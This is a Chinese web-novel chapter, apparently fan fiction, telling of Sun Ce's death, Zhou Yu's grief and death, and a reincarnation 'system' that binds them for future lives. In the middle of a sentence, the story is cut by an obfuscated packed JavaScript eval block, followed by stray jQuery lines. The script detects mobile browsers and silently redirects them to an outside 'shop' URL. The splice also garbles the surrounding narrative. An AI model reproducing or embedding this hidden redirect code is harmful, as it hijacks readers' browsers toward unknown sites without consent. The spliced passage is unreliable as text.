建安五年，四月。
孙策躺在榻上，伤口很深，血已经快流干了。
医者说是旧疾复发，但他心里清楚，这一劫，命数已定。
二十六年的岁月，他活得很满——渡江、破刘繇、平会稽，打得江东豪强闻风丧胆，天下人叫他“小霸王”。
可他还没活够。
不是因为霸业未成，而是有一个人，他还没见到最后一面。
门外忽然传来慌乱的脚步声。
“中护军！您不能——”
话音未落，帐帘被一把掀开。
周瑜站在门口。
铠甲未卸，发髻散了一半，衣襟上全是尘土。从巴丘到吴郡，数百里路，他昼夜兼程，几乎跑死了三匹马。他翻鞍落地的那一刻，守在门口的卫士险些没认出这是平素那位“曲有误，周郎顾”的中护军。
周瑜疾步往里走，脑海里一瞬间涌起无数个画面——
十四岁那年，舒城初见，那少年握着他的手说：“吾得卿，谐也。”
此后攻横江、破秣陵、下曲阿，驰骋江东，所向披靡。
那个永远一马当先的身影，当真就要这么去了？
踏入内室，一股苦涩的药气扑面而来。
榻上那人瘦得不成样子，原本浓黑如墨的眉目此刻显得格外突兀，面色白得近乎透明，可那双眼睛——那双曾经烧遍江东、令无数豪强胆寒的眼睛——还在亮着。像一块被烈火淬透的炭，表面覆了灰，内里却还烫得惊人。
“公瑾……”孙策的声音沙哑而微弱，轻得像风中的残烛。“你还是来了。”
周瑜忽然觉得喉头哽住了。
多少年来他们并肩而立，从未想过有一日，孙策会用这样的声音唤他的名字。
周瑜在他榻前跪下去。
他看到孙策脸上的伤口，看到缠在胸口的纱布上渗出的暗红色。他没有哭。只是眼眶红了，喉结上下滚动了一下，然后伸出手，握住了孙策的手。
那只手冰冷而微微颤抖，和他记忆中那只会挽弓搭箭、于万军之中取敌将首级的手，截然不同。
“我来晚了。”周瑜的声音很稳。
孙策攥住他的指尖。
“公瑾，”他说，“你跟我说过的话，还记得吗？”
“记得。”
“哪一句？”
周瑜闭了闭眼，喉结上下滚动了一下：“我说……要和你一起护江东，取天下。”
“不是那一句。”孙策的声音轻得像在叹气，却字字清晰，“是你说过的——‘伯符哥哥，你若先走，我绝不独活。’”
周瑜浑身一震，指尖瞬间冰凉。
“公瑾，”孙策偏过头来看他，目光里带着笑，也带着泪，“我不许！我要你答应我——我走了，你也要好好活着。”
周瑜别过脸去，牙关紧咬，一个字也不肯说。
下颌绷出一条锋利的线，喉结剧烈地滚动了一下，像在把什么滚烫的东西硬生生咽回去。
孙策知道，这是周瑜唯一不会答应他的事。
于是他费力地伸手，捏住了周瑜的下巴，强迫他与自己对视。
那双虎目里已经没有光芒了，但里面的东西比光更烫。
“我孙策这辈子，对得起所有人。唯独欠你。”
周瑜死死咬着下唇，唇色被咬得发白。
“说好要护你一辈子，”孙策的声音越来越轻，“我食言了……你怪不怪我？”
周瑜垂下眼，睫毛剧烈地颤了几颤，像蝴蝶在暴雨中扑翅。
过了很久，才从喉咙深处挤出一个沙哑得几乎听不清的字：“……怪。”
“那下辈子，”孙策缓缓笑了，“我再还你。”
“公瑾，我们约好了，三生三世，白首相依。”
“无论多少世，哪怕你忘了我——”
他抬起头，用尽最后力气，吻住了他。
那不是一个缠绵的吻。唇齿间是血的腥甜、尘土的味道、和一个将死之人能给出的最炽热的真心。
帐帘外有急促的脚步声接近，又被人拦住了。没有人敢掀开那层布帘。
良久，孙策松开他，靠在枕上，眼睛已经半阖。
“公瑾，答应我——”
“你说。”
“为自己活。别再……什么都一个人扛。”
周瑜没应声。
孙策感觉到握着他手的力道骤然收紧了。
“公瑾。”
“……我在听。”
“我好想……陪你到老。”
窗外的风突然大了起来，吹得案上的竹简哗啦啦翻动。那卷《孙子兵法》还是周瑜的笔迹——孙策出征前非要借来研读，说要“知己知彼，百战不殆”。
周瑜跪在榻前，一动不动。
像一尊被抽走了魂魄的雕像。
只有握着孙策的手还那样紧，紧到像是在和死亡这件事本身角力。
良久，周瑜低下了头。
他没有哭出声。建威中郎将，中护军周瑜，不应当在人前落泪。
但孙策掌心里，落了一滴滚烫的东西。
孙策的意识在一片虚无中漂浮。
他知道自己死了。
可他走不了。
那缕游魂就悬在周瑜身边，看他操持丧事、安抚旧部、扶孙权上位。十九岁的少年哭得像个孩子，周瑜站在他身后，脊背笔直如铁，声音沉稳得像一柄出鞘的剑——他说：“某愿施犬马之力，继之以死，报知己之恩……”
游魂没有办法触碰任何东西，只能在虚空中看着。
他看见赤壁江边，战船连天，曹操的二十万大军顺江而下。东吴议降，朝堂大乱。周瑜站出来说：“曹操虽托名汉相，其实汉贼也。将军以神武雄才，兼仗父兄之烈，割据江东，地方数千里，兵精足用，英雄乐业，当横行天下，为汉家除残去秽。”
三十岁的都督，披甲执剑，目光如炬。
那一夜东南风起，烈焰吞江。曹操的连环船在火海中寸寸成灰。
孙策的游魂悬在赤壁上空，看见漫天火光映在周瑜脸上。他真好看，三军统帅立于楼船之上，意气风发。弹指间樯橹灰飞烟灭——
可他瘦了。
他不再吃蜜饯了。
案上的点心放了一整夜，他看都没看一眼。
他不再笑了。从前在军营里，孙策还没开口，他已经微微弯了眼睛。
现在那张脸只有严肃、沉稳、不动如山。
他会在深夜批完公文后，无意识地摩挲案角。那里刻着一个字——“策”，是孙策年少时偷偷用小刀划上去的。
游魂在他身后，伸出手，想碰他的肩膀。
什么都没碰到。
赤壁之后是南郡之战。周瑜亲率骑兵冲锋，右肋中了流矢，箭头深入骨头。军医说这伤得养三个月。他养了三天，绑着绷带，又上了城墙。
箭伤一次次裂开，血肉模糊。
他身边的亲兵偷偷掉泪，劝他歇一歇。他说：“将军当在前线，我不能退。伯符把江东交给我，我退一步，江东就少一寸。”
那些年，他替孙策守着江东。
守了十年。
建安十五年，柴桑。
周瑜病倒了。
军医说是旧伤反复，积劳成疾。他咳血咳了很多天，胸口的甲胄都卸不下来，因为肋骨间的伤口早已溃烂。
孙权派人来探病，三次，他都传话说“无碍”。
第四次，来人进来的时候，他正撑着身子看舆图。
那幅舆图是孙策画的——当年他们一起渡江时，孙策用炭笔在羊皮上描的地势，笔画粗粝，歪歪扭扭。后来周瑜一直收着。
他把它铺在案上，用指尖慢慢描过每一个字。
“这里，该出一支骑兵，从侧翼包抄。”他喃喃自语，声音低得几乎听不见。手指描着舆图上那条粗粝的炭笔线，描了一遍，又一遍。
四下无人。
守在外间的亲兵以为都督在思虑军务。
可周瑜忽然停下了动作。指尖停在那条线的尽头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591137|205466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，盯着那个歪歪扭扭的标记——那是孙策当年随手画的一个圈，代表“我们的城”。
窗外起了风，吹得烛火摇摇欲灭。
他像是终于撑不住了。那副“大都督”的铁甲无声地裂开一道缝，露出里面那个十四岁的舒城少年。
“伯符哥哥……”他忽然开口，声音轻得像梦呓，软得像当年的春水，“你看……这条路线，是不是更快？”
他抬起头，望向空处。
那里什么也没有。
游魂在虚空中剧烈地发颤。
公瑾，我在。
我就在这里。
周瑜看不见他。孙策伸出的手穿过他的肩膀，什么也没能触碰到。
只有周瑜闭眼的那一瞬间——
游魂感觉到自己的手被握住了。
是幻觉吗？
他不知道。
躺在榻上的都督缓缓睁开眼睛，那一双曾经明亮如星辰的眼睛，此刻已经蒙上了一层灰白的雾气。
可他直直地望着虚空，望着孙策所在的方向。
嘴角慢慢弯了一下。
“……伯符哥哥。”
声音轻得像一片落叶。
“你是不是……来接我了？”
游魂拼命伸出手，这一次，指尖穿过周瑜的发丝，似乎触到了一点温度——微弱的、滚烫的。
一滴泪从周瑜眼角滑落。
无声的。
像他这辈子所有的眼泪，都攒着，留到了这一刻。
他这一生，扛过江东，撑过赤壁，火烧连营，拒曹操于江北。是天下人眼中顶天立地的大都督。
——只有临死这一刻，他才是当年那个会被孙策摸着头、害羞到耳根发红的小公子。
孙策看见了。
游魂的每一寸都在发抖。
他想喊叫、想流泪、想抱住这个人，想告诉他——“公瑾，我来接你了，以后什么都不用你扛了。”
可是他什么声音都发不出来。
只能眼睁睁地看着那双眼睛缓缓阖上。
像烛火燃尽了最后一滴蜡油。
剧烈的白光炸开。
孙策感觉自己在被撕碎，又重组。耳边是呼啸的风，眼前是铺天盖地的白光，裹挟着他穿过无尽虚空。
纯白。
没有天，没有地，只有无边的白色。
他的游魂终于有了实体。低头看自己的手——清晰的、完整的。
“你甘心吗？”
那个声音没有任何感情色彩，像金属在虚空中震动，冰冷、空旷、无处不在。
孙策抬起头。
“你是谁？”
“你可以叫我主神。”冰冷的机械音顿了顿，“回答我的问题：你甘心吗，孙策？”
甘心？
他想周瑜跪在榻前握着他的手的力道。
他想周瑜在赤壁火海中消瘦的侧脸。
他想周瑜临终前望向虚空的那一眼，和嘴角那抹笑。
“当然不甘心。”他听见自己的声音，嘶哑而笃定，
“我食言了。他也没有做到。”
“我答应要护他一辈子，他答应会好好活着——两个人都是食言的人。凭什么甘心？”
短暂的沉默。
然后，冰冷的机械音里出现了一丝极难察觉的波动——像是无奈，又像是满意。
“检测到宿主执念值：MAX。”
“检测到千年意难平指数：爆表。”
“叮。情定三生系统绑定成功。”
“由于策瑜CP的遗憾，让世人千年意难平。如今，你们的眼泪，连诸神都听见了。”
“第一世:现代音乐世家加载中——”
孙策来不及说话，白光再次裹住他。
意识被压缩成一线，坠入新的身体、新的时空、新的轮回。
冥冥中他听见最后一段话，从很远很远的地方传来，带着一丝虚无的温度：
“孙策，这一次，给你足够的时间，好好弥补。”